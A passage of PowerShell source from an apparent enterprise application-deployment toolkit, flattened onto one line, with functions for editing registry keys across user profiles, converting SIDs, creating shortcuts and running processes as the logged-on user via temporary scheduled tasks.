`n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "Failed to read registry key [$key] value [$value]: $($_.Exception.Message)" } } } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Set-RegistryKey { [CmdletBinding()] Param ( [Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [string]$Key, [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [string]$Name, [Parameter(Mandatory=$false)] $Value, [Parameter(Mandatory=$false)] [ValidateSet('Binary','DWord','ExpandString','MultiString','None','QWord','String','Unknown')] [Microsoft.Win32.RegistryValueKind]$Type = 'String', [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [string]$SID, [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [boolean]$ContinueOnError = $true ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { Try { [string]$RegistryValueWriteAction = 'set' If ($PSBoundParameters.ContainsKey('SID')) { [string]$key = Convert-RegistryPath -Key $key -SID $SID } Else { [string]$key = Convert-RegistryPath -Key $key } If (-not (Test-Path -LiteralPath $key -ErrorAction 'Stop')) { Try { Write-Log -Message "Create registry key [$key]." -Source ${CmdletName} If ((($Key -split '/').Count - 1) -eq 0) { $null = New-Item -Path $key -ItemType 'Registry' -Force -ErrorAction 'Stop' } Else { [string]$CreateRegkeyResult = & reg.exe Add "$($Key.Substring($Key.IndexOf('::') + 2))" If ($global:LastExitCode -ne 0) { Throw "Failed to create registry key [$Key]" } } } Catch { Throw } } If ($Name) { If (-not (Get-ItemProperty -LiteralPath $key -Name $Name -ErrorAction 'SilentlyContinue')) { Write-Log -Message "Set registry key value: [$key] [$name = $value]." -Source ${CmdletName} $null = New-ItemProperty -LiteralPath $key -Name $name -Value $value -PropertyType $Type -ErrorAction 'Stop' } Else { [string]$RegistryValueWriteAction = 'update' If ($Name -eq '(Default)') { $null = $(Get-Item -LiteralPath $key -ErrorAction 'Stop').OpenSubKey('','ReadWriteSubTree').SetValue($null,$value) } Else { Write-Log -Message "Update registry key value: [$key] [$name = $value]." -Source ${CmdletName} $null = Set-ItemProperty -LiteralPath $key -Name $name -Value $value -ErrorAction 'Stop' } } } } Catch { If ($Name) { Write-Log -Message "Failed to $RegistryValueWriteAction value [$value] for registry key [$key] [$name]. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "Failed to $RegistryValueWriteAction value [$value] for registry key [$key] [$name]: $($_.Exception.Message)" } } Else { Write-Log -Message "Failed to set registry key [$key]. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "Failed to set registry key [$key]: $($_.Exception.Message)" } } } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Remove-RegistryKey { [CmdletBinding()] Param ( [Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [string]$Key, [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [string]$Name, [Parameter(Mandatory=$false)] [switch]$Recurse, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [string]$SID, [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [boolean]$ContinueOnError = $true ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { Try { If ($PSBoundParameters.ContainsKey('SID')) { [string]$Key = Convert-RegistryPath -Key $Key -SID $SID } Else { [string]$Key = Convert-RegistryPath -Key $Key } If (-not ($Name)) { If (Test-Path -LiteralPath $Key -ErrorAction 'Stop') { If ($Recurse) { Write-Log -Message "Delete registry key recursively [$Key]." -Source ${CmdletName} $null = Remove-Item -LiteralPath $Key -Force -Recurse -ErrorAction 'Stop' } Else { If ($null -eq (Get-ChildItem -LiteralPath $Key -ErrorAction 'Stop')){ Write-Log -Message "Delete registry key [$Key]." -Source ${CmdletName} $null = Remove-Item -LiteralPath $Key -Force -ErrorAction 'Stop' } Else { Throw "Unable to delete child key(s) of [$Key] without [-Recurse] switch." } } } Else { Write-Log -Message "Unable to delete registry key [$Key] because it does not exist." -Severity 2 -Source ${CmdletName} } } Else { If (Test-Path -LiteralPath $Key -ErrorAction 'Stop') { Write-Log -Message "Delete registry value [$Key] [$Name]." -Source ${CmdletName} If ($Name -eq '(Default)') { $null = (Get-Item -LiteralPath $Key -ErrorAction 'Stop').OpenSubKey('','ReadWriteSubTree').DeleteValue('') } Else { $null = Remove-ItemProperty -LiteralPath $Key -Name $Name -Force -ErrorAction 'Stop' } } Else { Write-Log -Message "Unable to delete registry value [$Key] [$Name] because registry key does not exist." -Severity 2 -Source ${CmdletName} } } } Catch [System.Management.Automation.PSArgumentException] { Write-Log -Message "Unable to delete registry value [$Key] [$Name] because it does not exist." -Severity 2 -Source ${CmdletName} } Catch { If (-not ($Name)) { Write-Log -Message "Failed to delete registry key [$Key]. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "Failed to delete registry key [$Key]: $($_.Exception.Message)" } } Else { Write-Log -Message "Failed to delete registry value [$Key] [$Name]. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "Failed to delete registry value [$Key] [$Name]: $($_.Exception.Message)" } } } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Invoke-HKCURegistrySettingsForAllUsers { [CmdletBinding()] Param ( [Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [scriptblock]$RegistrySettings, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [psobject[]]$UserProfiles = (Get-UserProfiles) ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { ForEach ($UserProfile in $UserProfiles) { Try { [string]$UserRegistryPath = "Registry::HKEY_USERS\$($UserProfile.SID)" [string]$UserRegistryHiveFile = Join-Path -Path $UserProfile.ProfilePath -ChildPath 'NTUSER.DAT' [boolean]$ManuallyLoadedRegHive = $false If (-not (Test-Path -LiteralPath $UserRegistryPath)) { If (Test-Path -LiteralPath $UserRegistryHiveFile -PathType 'Leaf') { Write-Log -Message "Load the User [$($UserProfile.NTAccount)] registry hive in path [HKEY_USERS\$($UserProfile.SID)]." -Source ${CmdletName} [string]$HiveLoadResult = & reg.exe load "`"HKEY_USERS\$($UserProfile.SID)`"" "`"$UserRegistryHiveFile`"" If ($global:LastExitCode -ne 0) { Throw "Failed to load the registry hive for User [$($UserProfile.NTAccount)] with SID [$($UserProfile.SID)]. Failure message [$HiveLoadResult]. Continue..." } [boolean]$ManuallyLoadedRegHive = $true } Else { Throw "Failed to find the registry hive file [$UserRegistryHiveFile] for User [$($UserProfile.NTAccount)] with SID [$($UserProfile.SID)]. Continue..." } } Else { Write-Log -Message "The User [$($UserProfile.NTAccount)] registry hive is already loaded in path [HKEY_USERS\$($UserProfile.SID)]." -Source ${CmdletName} } Write-Log -Message 'Execute ScriptBlock to modify HKCU registry settings for all users.' -Source ${CmdletName} & $RegistrySettings } Catch { Write-Log -Message "Failed to modify the registry hive for User [$($UserProfile.NTAccount)] with SID [$($UserProfile.SID)] `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} } Finally { If ($ManuallyLoadedRegHive) { Try { Write-Log -Message "Unload the User [$($UserProfile.NTAccount)] registry hive in path [HKEY_USERS\$($UserProfile.SID)]." -Source ${CmdletName} [string]$HiveLoadResult = & reg.exe unload "`"HKEY_USERS\$($UserProfile.SID)`"" If ($global:LastExitCode -ne 0) { Write-Log -Message "REG.exe failed to unload the registry hive and exited with exit code [$($global:LastExitCode)]. Performing manual garbage collection to ensure successful unloading of registry hive." -Severity 2 -Source ${CmdletName} [GC]::Collect() [GC]::WaitForPendingFinalizers() Start-Sleep -Seconds 5 Write-Log -Message "Unload the User [$($UserProfile.NTAccount)] registry hive in path [HKEY_USERS\$($UserProfile.SID)]." -Source ${CmdletName} [string]$HiveLoadResult = & reg.exe unload "`"HKEY_USERS\$($UserProfile.SID)`"" If ($global:LastExitCode -ne 0) { Throw "REG.exe failed with exit code [$($global:LastExitCode)] and result [$HiveLoadResult]." } } } Catch { Write-Log -Message "Failed to unload the registry hive for User [$($UserProfile.NTAccount)] with SID [$($UserProfile.SID)]. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} } } } } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function ConvertTo-NTAccountOrSID { [CmdletBinding()] Param ( [Parameter(Mandatory=$true,ParameterSetName='NTAccountToSID',ValueFromPipelineByPropertyName=$true)] [ValidateNotNullOrEmpty()] [string]$AccountName, [Parameter(Mandatory=$true,ParameterSetName='SIDToNTAccount',ValueFromPipelineByPropertyName=$true)] [ValidateNotNullOrEmpty()] [string]$SID, [Parameter(Mandatory=$true,ParameterSetName='WellKnownName',ValueFromPipelineByPropertyName=$true)] [ValidateNotNullOrEmpty()] [string]$WellKnownSIDName, [Parameter(Mandatory=$false,ParameterSetName='WellKnownName')] [ValidateNotNullOrEmpty()] [switch]$WellKnownToNTAccount ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { Try { Switch ($PSCmdlet.ParameterSetName) { 'SIDToNTAccount' { [string]$msg = "the SID [$SID] to an NT Account name" Write-Log -Message "Convert $msg." -Source ${CmdletName} $NTAccountSID = New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList $SID $NTAccount = $NTAccountSID.Translate([Security.Principal.NTAccount]) Write-Output -InputObject $NTAccount } 'NTAccountToSID' { [string]$msg = "the NT Account [$AccountName] to a SID" Write-Log -Message "Convert $msg." -Source ${CmdletName} $NTAccount = New-Object -TypeName 'System.Security.Principal.NTAccount' -ArgumentList $AccountName $NTAccountSID = $NTAccount.Translate([Security.Principal.SecurityIdentifier]) Write-Output -InputObject $NTAccountSID } 'WellKnownName' { If ($WellKnownToNTAccount) { [string]$ConversionType = 'NTAccount' } Else { [string]$ConversionType = 'SID' } [string]$msg = "the Well Known SID Name [$WellKnownSIDName] to a $ConversionType" Write-Log -Message "Convert $msg." -Source ${CmdletName} Try { $MachineRootDomain = (Get-WmiObject -Class 'Win32_ComputerSystem' -ErrorAction 'Stop').Domain.ToLower() $ADDomainObj = New-Object -TypeName 'System.DirectoryServices.DirectoryEntry' -ArgumentList "LDAP://$MachineRootDomain" $DomainSidInBinary = $ADDomainObj.ObjectSid $DomainSid = New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ($DomainSidInBinary[0], 0) } Catch { Write-Log -Message 'Unable to get Domain SID from Active Directory. Setting Domain SID to $null.' -Severity 2 -Source ${CmdletName} $DomainSid = $null } $WellKnownSidType = [Security.Principal.WellKnownSidType]::$WellKnownSIDName $NTAccountSID = New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ($WellKnownSidType, $DomainSid) If ($WellKnownToNTAccount) { $NTAccount = $NTAccountSID.Translate([Security.Principal.NTAccount]) Write-Output -InputObject $NTAccount } Else { Write-Output -InputObject $NTAccountSID } } } } Catch { Write-Log -Message "Failed to convert $msg. It may not be a valid account anymore or there is some other problem. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Get-UserProfiles { [CmdletBinding()] Param ( [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [string[]]$ExcludeNTAccount, [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [boolean]$ExcludeSystemProfiles = $true, [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [switch]$ExcludeDefaultUser = $false ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { Try { Write-Log -Message 'Get the User Profile Path, User Account SID, and the User Account Name for all users that log onto the machine.' -Source ${CmdletName} [string]$UserProfileListRegKey = 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList' [psobject[]]$UserProfiles = Get-ChildItem -LiteralPath $UserProfileListRegKey -ErrorAction 'Stop' | ForEach-Object { Get-ItemProperty -LiteralPath $_.PSPath -ErrorAction 'Stop' | Where-Object { ($_.ProfileImagePath) } | Select-Object @{ Label = 'NTAccount'; Expression = { $(ConvertTo-NTAccountOrSID -SID $_.PSChildName).Value } }, @{ Label = 'SID'; Expression = { $_.PSChildName } }, @{ Label = 'ProfilePath'; Expression = { $_.ProfileImagePath } } } If ($ExcludeSystemProfiles) { [string[]]$SystemProfiles = 'S-1-5-18', 'S-1-5-19', 'S-1-5-20' [psobject[]]$UserProfiles = $UserProfiles | Where-Object { $SystemProfiles -notcontains $_.SID } } If ($ExcludeNTAccount) { [psobject[]]$UserProfiles = $UserProfiles | Where-Object { $ExcludeNTAccount -notcontains $_.NTAccount } } If (-not $ExcludeDefaultUser) { [string]$UserProfilesDirectory = Get-ItemProperty -LiteralPath $UserProfileListRegKey -Name 'ProfilesDirectory' -ErrorAction 'Stop' | Select-Object -ExpandProperty 'ProfilesDirectory' If (([version]$envOSVersion).Major -gt 5) { [string]$DefaultUserProfileDirectory = Get-ItemProperty -LiteralPath $UserProfileListRegKey -Name 'Default' -ErrorAction 'Stop' | Select-Object -ExpandProperty 'Default' } Else { [string]$DefaultUserProfileName = Get-ItemProperty -LiteralPath $UserProfileListRegKey -Name 'DefaultUserProfile' -ErrorAction 'Stop' | Select-Object -ExpandProperty 'DefaultUserProfile' [string]$DefaultUserProfileDirectory = Join-Path -Path $UserProfilesDirectory -ChildPath $DefaultUserProfileName } [psobject]$DefaultUserProfile = New-Object -TypeName 'PSObject' -Property @{ NTAccount = 'Default User' SID = 'S-1-5-21-Default-User' ProfilePath = $DefaultUserProfileDirectory } $UserProfiles += $DefaultUserProfile } Write-Output -InputObject $UserProfiles } Catch { Write-Log -Message "Failed to create a custom object representing all user profiles on the machine. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Get-FileVersion { [CmdletBinding()] Param ( [Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [string]$File, [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [boolean]$ContinueOnError = $true ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { Try { Write-Log -Message "Get file version info for file [$file]." -Source ${CmdletName} If (Test-Path -LiteralPath $File -PathType 'Leaf') { $fileVersion = (Get-Command -Name $file -ErrorAction 'Stop').FileVersionInfo.FileVersion If ($fileVersion) { $fileVersion = ($fileVersion -split ' ' | Select-Object -First 1) Write-Log -Message "File version is [$fileVersion]." -Source ${CmdletName} Write-Output -InputObject $fileVersion } Else { Write-Log -Message 'No file version information found.' -Source ${CmdletName} } } Else { Throw "File path [$file] does not exist." } } Catch { Write-Log -Message "Failed to get file version info. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "Failed to get file version info: $($_.Exception.Message)" } } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function New-Shortcut { [CmdletBinding()] Param ( [Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [string]$Path, [Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [string]$TargetPath, [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [string]$Arguments, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [string]$IconLocation, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [string]$IconIndex, [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [string]$Description, [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [string]$WorkingDirectory, [Parameter(Mandatory=$false)] [ValidateSet('Normal','Maximized','Minimized')] [string]$WindowStyle, [Parameter(Mandatory=$false)] [switch]$RunAsAdmin, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [string]$Hotkey, [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [boolean]$ContinueOnError = $true ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header If (-not $Shell) { [__comobject]$Shell = New-Object -ComObject 'WScript.Shell' -ErrorAction 'Stop' } } Process { Try { Try { [IO.FileInfo]$Path = [IO.FileInfo]$Path [string]$PathDirectory = $Path.DirectoryName If (-not (Test-Path -LiteralPath $PathDirectory -PathType 'Container' -ErrorAction 'Stop')) { Write-Log -Message "Create shortcut directory [$PathDirectory]." -Source ${CmdletName} $null = New-Item -Path $PathDirectory -ItemType 'Directory' -Force -ErrorAction 'Stop' } } Catch { Write-Log -Message "Failed to create shortcut directory [$PathDirectory]. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} Throw } Write-Log -Message "Create shortcut [$($path.FullName)]." -Source ${CmdletName} If (($path.FullName).ToLower().EndsWith('.url')) { [string[]]$URLFile = '[InternetShortcut]' $URLFile += "URL=$targetPath" If ($iconIndex) { $URLFile += "IconIndex=$iconIndex" } If ($IconLocation) { $URLFile += "IconFile=$iconLocation" } $URLFile | Out-File -FilePath $path.FullName -Force -Encoding 'default' -ErrorAction 'Stop' } ElseIf (($path.FullName).ToLower().EndsWith('.lnk')) { If (($iconLocation -and $iconIndex) -and (-not ($iconLocation.Contains(',')))) { $iconLocation = $iconLocation + ",$iconIndex" } Switch ($windowStyle) { 'Normal' { $windowStyleInt = 1 } 'Maximized' { $windowStyleInt = 3 } 'Minimized' { $windowStyleInt = 7 } Default { $windowStyleInt = 1 } } $shortcut = $shell.CreateShortcut($path.FullName) $shortcut.TargetPath = $targetPath $shortcut.Arguments = $arguments $shortcut.Description = $description $shortcut.WorkingDirectory = $workingDirectory $shortcut.WindowStyle = $windowStyleInt If ($hotkey) {$shortcut.Hotkey = $hotkey} If ($iconLocation) { $shortcut.IconLocation = $iconLocation } $shortcut.Save() If ($RunAsAdmin) { Write-Log -Message 'Set shortcut to run program as administrator.' -Source ${CmdletName} $TempFileName = [IO.Path]::GetRandomFileName() $TempFile = [IO.FileInfo][IO.Path]::Combine($Path.Directory, $TempFileName) $Writer = New-Object -TypeName 'System.IO.FileStream' -ArgumentList ($TempFile, ([IO.FileMode]::Create)) -ErrorAction 'Stop' $Reader = $Path.OpenRead() While ($Reader.Position -lt $Reader.Length) { $Byte = $Reader.ReadByte() If ($Reader.Position -eq 22) { $Byte = 34 } $Writer.WriteByte($Byte) } $Reader.Close() $Writer.Close() $Path.Delete() $null = Rename-Item -Path $TempFile -NewName $Path.Name -Force -ErrorAction 'Stop' } } } Catch { Write-Log -Message "Failed to create shortcut [$($path.FullName)]. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "Failed to create shortcut [$($path.FullName)]: $($_.Exception.Message)" } } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Execute-ProcessAsUser { [CmdletBinding()] Param ( [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [string]$UserName = $RunAsActiveUser.NTAccount, [Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [string]$Path, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [string]$Parameters = '', [Parameter(Mandatory=$false)] [switch]$SecureParameters = $false, [Parameter(Mandatory=$false)] [ValidateSet('HighestAvailable','LeastPrivilege')] [string]$RunLevel = 'HighestAvailable', [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [switch]$Wait = $false, [Parameter(Mandatory=$false)] [switch]$PassThru = $false, [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [boolean]$ContinueOnError = $true ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { [int32]$executeProcessAsUserExitCode = 0 If (-not $UserName) { [int32]$executeProcessAsUserExitCode = 60009 Write-Log -Message "The function [${CmdletName}] has a -UserName parameter that has an empty default value because no logged in users were detected when the toolkit was launched." -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "The function [${CmdletName}] has a -UserName parameter that has an empty default value because no logged in users were detected when the toolkit was launched." } Else { Return } } If (($RunLevel -eq 'HighestAvailable') -and (-not $IsAdmin)) { [int32]$executeProcessAsUserExitCode = 60003 Write-Log -Message "The function [${CmdletName}] requires the toolkit to be running with Administrator privileges if the [-RunLevel] parameter is set to 'HighestAvailable'." -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "The function [${CmdletName}] requires the toolkit to be running with Administrator privileges if the [-RunLevel] parameter is set to 'HighestAvailable'." } Else { Return } } [string]$schTaskName = "$appDeployToolkitName-ExecuteAsUser" If (-not (Test-Path -LiteralPath $dirAppDeployTemp -PathType 'Container')) { New-Item -Path $dirAppDeployTemp -ItemType 'Directory' -Force -ErrorAction 'Stop' } If (($Path -eq 'PowerShell.exe') -or ((Split-Path -Path $Path -Leaf) -eq 'PowerShell.exe')) { If ($($Parameters.Substring($Parameters.Length - 1)) -eq '"') { [string]$executeProcessAsUserParametersVBS = 'chr(34) & ' + "`"$($Path)`"" + ' & chr(34) & ' + '" ' + ($Parameters -replace '"', "`" & chr(34) & `"" -replace ' & chr\(34\) & "$', '') + ' & chr(34)' } Else { [string]$executeProcessAsUserParametersVBS = 'chr(34) & ' + "`"$($Path)`"" + ' & chr(34) & ' + '" ' + ($Parameters -replace '"', "`" & chr(34) & `"" -replace ' & chr\(34\) & "$','') + '"' } [string[]]$executeProcessAsUserScript = "strCommand = $executeProcessAsUserParametersVBS" $executeProcessAsUserScript += 'set oWShell = CreateObject("WScript.Shell")' $executeProcessAsUserScript += 'intReturn = oWShell.Run(strCommand, 0, true)' $executeProcessAsUserScript += 'WScript.Quit intReturn' $executeProcessAsUserScript | Out-File -FilePath "$dirAppDeployTemp\$($schTaskName).vbs" -Force -Encoding 'default' -ErrorAction 'SilentlyContinue' $Path = 'wscript.exe' $Parameters = "`"$dirAppDeployTemp\$($schTaskName).vbs`"" } [string]$xmlSchTask = @" <?xml version="1.0" encoding="UTF-16"?> <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"> <RegistrationInfo /> <Triggers /> <Settings> <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy> <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate> <StartWhenAvailable>false</StartWhenAvailable> <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable> <IdleSettings> <StopOnIdleEnd>false</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartOnDemand>true</AllowStartOnDemand> <Enabled>true</Enabled> <Hidden>false</Hidden> <RunOnlyIfIdle>false</RunOnlyIfIdle> <WakeToRun>false</WakeToRun> <ExecutionTimeLimit>PT72H</ExecutionTimeLimit> <Priority>7</Priority> </Settings> <Actions Context="Author"> <Exec> <Command>$Path</Command> <Arguments>$Parameters</Arguments> </Exec> </Actions> <Principals> <Principal id="Author"> <UserId>$UserName</UserId> <LogonType>InteractiveToken</LogonType> <RunLevel>$RunLevel</RunLevel> </Principal> </Principals> </Task> "@ Try { [string]$xmlSchTaskFilePath = "$dirAppDeployTemp\$schTaskName.xml" [string]$xmlSchTask | Out-File -FilePath $xmlSchTaskFilePath -Force -ErrorAction 'Stop' } Catch { [int32]$executeProcessAsUserExitCode = 60007 Write-Log -Message "Failed to export the scheduled task XML file [$xmlSchTaskFilePath]. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "Failed to export the scheduled task XML file [$xmlSchTaskFilePath]: $($_.Exception.Message)" } Else { Return } } If ($Parameters) { If ($SecureParameters) { Write-Log -Message "Create scheduled task to run the process [$Path] (Parameters Hidden) as the logged-on user [$userName]..." -Source ${CmdletName} } Else { Write-Log -Message "Create scheduled task to run the process [$Path $Parameters] as the logged-on user [$userName]..." -Source ${CmdletName} } } Else { Write-Log -Message "Create scheduled task to run the process [$Path] as the logged-on user [$userName]..." -Source ${CmdletName} } [psobject]$schTaskResult = Execute-Process -Path $exeSchTasks -Parameters "/create /f /tn $schTaskName /xml `"$xmlSchTaskFilePath`"" -WindowStyle 'Hidden' -CreateNoWindow -PassThru If ($schTaskResult.ExitCode -ne 0) { [int32]$executeProcessAsUserExitCode = $schTaskResult.ExitCode Write-Log -Message "Failed to create the scheduled task by importing the scheduled task XML file [$xmlSchTaskFilePath]." -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "Failed to create the scheduled task by importing the scheduled task XML file [$xmlSchTaskFilePath]." } Else { Return } } If ($Parameters) { If ($SecureParameters) { Write-Log -Message "Trigger execution of scheduled task with command [$Path] (Parameters Hidden) as the logged-on user [$userName]..." -Source ${CmdletName} } Else { Write-Log -Message "Trigger execution of scheduled task with command [$Path $Parameters] as the logged-on user [$userName]..." -Source ${CmdletName} } } Else { Write-Log -Message "Trigger execution of scheduled task with command [$Path] as the logged-on user [$userName]..." -Source ${CmdletName} } [psobject]$schTaskResult = Execute-Process -Path $exeSchTasks -Parameters "/run /i /tn $schTaskName" -WindowStyle 'Hidden' -CreateNoWindow -Passthru If ($schTaskResult.ExitCode -ne 0) { [int32]$executeProcessAsUserExitCode = $schTaskResult.ExitCode Write-Log -Message "Failed to trigger scheduled task [$schTaskName]." -Severity 3 -Source ${CmdletName} Write-Log -Message 'Delete the scheduled task which did not trigger.' -Source ${CmdletName} Execute-Process -Path $exeSchTasks -Parameters "/delete /tn $schTaskName /f" -WindowStyle 'Hidden' -CreateNoWindow -ContinueOnError $true If (-not $ContinueOnError) { Throw "Failed to trigger scheduled task [$schTaskName]." } Else { Return } } If ($Wait) { Write-Log -Message "Waiting for the process launched by the scheduled task [$schTaskName] to complete execution (this may take some time)..." -Source ${CmdletName} Start-Sleep -Seconds 1 If (([version]$envOSVersion).Major -gt 5) { Try { [__comobject]$ScheduleService = New-Object -ComObject 'Schedule.Service' -ErrorAction Stop $ScheduleService.Connect() $RootFolder = $ScheduleService.GetFolder('\') $Task = $RootFolder.GetTask("$schTaskName") While ($Task.State -eq 4) { Start-Sleep -Seconds 5 } [int32]$executeProcessAsUserExitCode = $Task.LastTaskResult } Catch { Write-Log -Message "Failed to retrieve information from Task Scheduler. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} } Finally { Try { $null = [Runtime.Interopservices.Marshal]::ReleaseComObject($ScheduleService) } Catch { } } } Else { While ((($exeSchTasksResult = & $exeSchTasks /query /TN $schTaskName /V /FO CSV) | ConvertFrom-CSV | Select-Object -ExpandProperty 'Status' | Select-Object -First 1) -eq 'Running') { Start-Sleep -Seconds 5 } [int32]$executeProcessAsUserExitCode = ($exeSchTasksResult = & $exeSchTasks /query /TN $schTaskName /V /FO CSV) | ConvertFrom-CSV | Select-Object -ExpandProperty 'Last Result' | Select-Object -First 1 } Write-Log -Message "Exit code from process launched by scheduled task [$executeProcessAsUserExitCode]." -Source ${CmdletName} } Else { Start-Sleep -Seconds 1 } Try { Write-Log -Message "Delete scheduled task [$schTaskName]." -Source ${CmdletName} Execute-Process -Path $exeSchTasks -Parameters "/delete /tn $schTaskName /f" -WindowStyle 'Hidden' -CreateNoWindow -ErrorAction 'Stop' } Catch { Write-Log -Message "Failed to delete scheduled task [$schTaskName]. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} } } End { If ($PassThru) { Write-Output -InputObject $executeProcessAsUserExitCode } Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Update-Desktop { [CmdletBinding()] Param ( [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [boolean]$ContinueOnError = $true ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { Try { Write-Log -Message 'Refresh the Desktop and the Windows Explorer environment process block.' -Source ${CmdletName} [PSADT.Explorer]::RefreshDesktopAndEnvironmentVariables() } Catch { Write-Log -Message "Failed to refresh the Desktop and the Windows Explorer environment process block. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "Failed to refresh the Desktop and the Windows Explorer environment process block: $($_.Exception.Message)" } } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Set-Alias -Name 'Refresh-Desktop' -Value 'Update-Desktop' -Scope 'Script' -Force -ErrorAction 'SilentlyContinue' Function Update-SessionEnvironmentVariables { [CmdletBinding()] Param ( [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [switch]$LoadLoggedOnUserEnvironmentVariables = $false, [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [boolean]$ContinueOnError = $true ) Begin { [string]${CmdletName} = 